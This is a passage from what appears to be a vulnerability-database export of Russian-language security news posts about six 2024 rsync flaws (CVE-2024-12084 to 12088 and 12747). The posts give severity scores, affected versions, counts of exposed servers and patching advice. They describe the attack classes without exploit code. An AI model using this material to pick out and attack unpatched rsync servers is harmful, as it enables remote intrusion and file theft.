\u0434\u0430\u043d\u043d\u044b\u0435, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043a\u043b\u044e\u0447\u0438 SSH, \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u044b, \u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d \u043f\u0443\u0442\u0435\u043c \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0438 \u0444\u0430\u0439\u043b\u043e\u0432, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a ~/.bashrc \u0438\u043b\u0438 ~/.popt.\n\n\u0421\u0440\u0435\u0434\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432:\n\n- \u041f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438 (CVE-2024-12084, CVSS: 9.8): \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0438\u0437-\u0437\u0430 \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u043b\u0438\u043d\u044b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0445 \u0441\u0443\u043c\u043c \u0432 \u0434\u0435\u043c\u043e\u043d\u0435 Rsync, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0431\u0443\u0444\u0435\u0440\u0430. \u0417\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0435\u0440\u0441\u0438\u0438 \u043e\u0442 3.2.7 \u0434\u043e < 3.4.0 \u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a RCE.\n\n- \u0423\u0442\u0435\u0447\u043a\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 (CVE-2024-12085, CVSS: 7.5): \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u0443\u0442\u0435\u0447\u043a\u0443 \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0441\u0442\u0435\u043a\u0430 \u043f\u0440\u0438 \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0445 \u0441\u0443\u043c\u043c \u0444\u0430\u0439\u043b\u043e\u0432. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u0438\u043d\u043e\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b, \u0447\u0442\u043e\u0431\u044b \u0435\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c. \u0417\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\n- Server Leaks Arbitrary Client Files (CVE-2024-12086, CVSS: 6.1): \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u043c\u0443 \u0441\u0435\u0440\u0432\u0435\u0440\u0443 \u0441\u0447\u0438\u0442\u044b\u0432\u0430\u0442\u044c \u0438 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0438\u0435 \u0444\u0430\u0439\u043b\u044b \u043f\u043e\u0431\u0430\u0439\u0442\u043d\u043e, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u043d\u044b\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0444\u0430\u0439\u043b\u043e\u0432. \u0423\u044f\u0437\u0432\u0438\u043c\u044b \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\n- \u041e\u0431\u0445\u043e\u0434 \u043f\u0443\u0442\u0438 (CVE-2024-12087, CVSS: 6.5): \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0438\u0437-\u0437\u0430 \u043d\u0435\u0430\u0434\u0435\u043a\u0432\u0430\u0442\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0441\u0441\u044b\u043b\u043a\u0438 \u043f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 --inc-recursive. \u0412\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u044b \u043c\u043e\u0433\u0443\u0442 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u043c\u044b\u0445 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0435. \u0412\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0 \u0443\u044f\u0437\u0432\u0438\u043c\u044b.\n\n- \u041e\u0431\u0445\u043e\u0434 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 --safe-links (CVE-2024-12088, CVSS: 6.5): \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442, \u043a\u043e\u0433\u0434\u0430 Rsync \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0434\u043e\u043b\u0436\u043d\u044b\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0445 \u0434\u0440\u0443\u0433\u0438\u0435 \u0441\u0441\u044b\u043b\u043a\u0438. \u042d\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u043e\u0431\u0445\u043e\u0434\u0443 \u043f\u0443\u0442\u0438 \u0438 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0445 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432. \u0417\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\n- \u0421\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0433\u043e\u043d\u043a\u0438 (CVE-2024-12747, CVSS: 5.6): \u043e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d\u0430 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435\u043c \u0433\u043e\u043d\u043a\u0438 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c \u0444\u0430\u0439\u043b\u0430\u043c \u0438 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438. \u0423\u044f\u0437\u0432\u0438\u043c\u044b \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\nCERT/C \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u044c \u0441 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435\u043c \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445 Rsync, \u043e\u0442\u043c\u0435\u0442\u0438\u0432 Red Hat, Arch, Gentoo, Ubuntu NixOS, AlmaLinux OS Foundation \u0438 Triton Data Center \u043a\u0430\u043a \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0435.\n\n\u041e\u0434\u043d\u0430\u043a\u043e \u043c\u043d\u043e\u0433\u0438\u0435 \u0434\u0440\u0443\u0433\u0438\u0435 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u044b \u0438 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0438 \u043f\u043e\u043a\u0430 \u043d\u0435 \u043d\u0438\u043a\u0430\u043a \u043e\u0442\u0440\u0435\u0430\u0433\u0438\u0440\u043e\u0432\u0430\u043b\u0438.\n\n\u0412 \u0441\u0432\u043e\u0435\u043c \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u0435 \u043f\u043e CVE-2024-12084 RedHat \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0430, \u0447\u0442\u043e \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043c\u0435\u0440 \u043f\u043e \u0441\u043c\u044f\u0433\u0447\u0435\u043d\u0438\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442, \u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0436\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 Rsync \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e.\n\n\u0412 \u043f\u0440\u043e\u0442\u0438\u0432\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u044f\u0442\u0441\u044f \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0434\u043b\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u0441 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0435\u0439.\n\n\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e Shodan, \u0432 \u0441\u0435\u0442\u0438 \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0442\u0441\u044f \u0431\u043e\u043b\u0435\u0435 660 000 IP-\u0430\u0434\u0440\u0435\u0441\u043e\u0432 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c\u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c\u0438 Rsync. \u0411\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e - \u0432 \u041a\u0438\u0442\u0430\u0435 (521 000), \u0434\u0430\u043b\u0435\u0435 \u0441\u043b\u0435\u0434\u0443\u044e\u0442 \u0421\u0428\u0410, \u0413\u043e\u043d\u043a\u043e\u043d\u0433, \u041a\u043e\u0440\u0435\u044f, \u0420\u043e\u0441\u0441\u0438\u044f \u0438 \u0413\u0435\u0440\u043c\u0430\u043d\u0438\u044f, \u043d\u043e \u0438\u0445 \u0447\u0438\u0441\u043b\u043e \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043c\u0435\u043d\u044c\u0448\u0435.\n\n\u0418\u0437 \u044d\u0442\u0438\u0445 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0445 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 Rsync 306 517 \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u043d\u0430 TCP-\u043f\u043e\u0440\u0442\u0435 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e 873, \u0430 21 239 \u043f\u0440\u043e\u0441\u043b\u0443\u0448\u0438\u0432\u0430\u044e\u0442 \u043f\u043e\u0440\u0442 8873, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0431\u044b\u0447\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f Rsync \u0447\u0435\u0440\u0435\u0437 \u0442\u0443\u043d\u043d\u0435\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 SSH.\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u043d\u0435\u044f\u0441\u043d\u043e \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u043b\u0438 \u043e\u043d\u0438 \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c, \u0432\u0441\u0435\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f\u00a0\u00a0\u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u043e\u0440\u0435\u0435\u00a0\u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 3.4.0 \u0438\u043b\u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u0434\u0435\u043c\u043e\u043d \u043d\u0430 \u0437\u0430\u043f\u0440\u043e\u0441 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c TCP-\u043f\u043e\u0440\u0442 873 \u043f\u043e \u043f\u0435\u0440\u0438\u043c\u0435\u0442\u0440\u0443, \u0447\u0442\u043e\u0431\u044b \u0441\u0435\u0440\u0432\u0435\u0440\u044b \u043d\u0435 \u0431\u044b\u043b\u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e.", "creation_timestamp": "2025-01-16T12:11:14.000000Z"}, {"uuid": "3f83188d-58a9-4f8c-ac63-65966f2fb24e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12747", "type": "seen", "source": "https://t.me/true_secator/6625", "content": "\u0411\u043e\u043b\u0435\u0435 660 000 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 Rsync \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u0434\u043b\u044f \u0448\u0435\u0441\u0442\u0438 \u043d\u043e\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445.\n\nRsync - \u044d\u0442\u043e \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c \u0434\u043b\u044f \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0434\u0430\u043d\u043d\u044b\u0445, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0448\u0438\u0440\u043e\u043a\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f (Rclone, DeltaCopy, ChronoSync), \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f\u0445 \u0434\u043b\u044f \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0432 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0438 \u043e\u0431\u043b\u0430\u043a\u0430\u043c\u0438 \u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c\u0438.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 Rsync \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b Google Cloud \u0438 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u043c\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438. \u041e\u043d\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0435\u043d\u044b \u0434\u043b\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u0437\u043b\u043e\u043c\u0430 \u0441\u0438\u0441\u0442\u0435\u043c.\n\n\u0414\u043b\u044f \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u043b\u0438\u0448\u044c \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435 \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 rsync, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043a \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u043c\u0443 \u0437\u0435\u0440\u043a\u0430\u043b\u0443, \u0447\u0442\u043e\u0431\u044b \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u043c\u0430\u0448\u0438\u043d\u0435, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0437\u0430\u043f\u0443\u0449\u0435\u043d \u0441\u0435\u0440\u0432\u0435\u0440.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0432\u0437\u044f\u0442\u044c \u043f\u043e\u0434 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 \u0438 \u0447\u0438\u0442\u0430\u0442\u044c/\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043b\u044e\u0431\u043e\u0433\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430.\n\n\u041a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043a\u043b\u044e\u0447\u0438 SSH, \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u044b, \u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d \u043f\u0443\u0442\u0435\u043c \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0438 \u0444\u0430\u0439\u043b\u043e\u0432, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a ~/.bashrc \u0438\u043b\u0438 ~/.popt.\n\n\u0421\u0440\u0435\u0434\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432:\n\n- \u041f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438 (CVE-2024-12084, CVSS: 9.8): \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0438\u0437-\u0437\u0430 \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u043b\u0438\u043d\u044b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0445 \u0441\u0443\u043c\u043c \u0432 \u0434\u0435\u043c\u043e\u043d\u0435 Rsync, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0431\u0443\u0444\u0435\u0440\u0430. \u0417\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0435\u0440\u0441\u0438\u0438 \u043e\u0442 3.2.7 \u0434\u043e < 3.4.0 \u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a RCE.\n\n- \u0423\u0442\u0435\u0447\u043a\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 (CVE-2024-12085, CVSS: 7.5): \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u0443\u0442\u0435\u0447\u043a\u0443 \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0441\u0442\u0435\u043a\u0430 \u043f\u0440\u0438 \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0445 \u0441\u0443\u043c\u043c \u0444\u0430\u0439\u043b\u043e\u0432. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u0438\u043d\u043e\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b, \u0447\u0442\u043e\u0431\u044b \u0435\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c. \u0417\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\n- Server Leaks Arbitrary Client Files (CVE-2024-12086, CVSS: 6.1): \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u043c\u0443 \u0441\u0435\u0440\u0432\u0435\u0440\u0443 \u0441\u0447\u0438\u0442\u044b\u0432\u0430\u0442\u044c \u0438 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0438\u0435 \u0444\u0430\u0439\u043b\u044b \u043f\u043e\u0431\u0430\u0439\u0442\u043d\u043e, 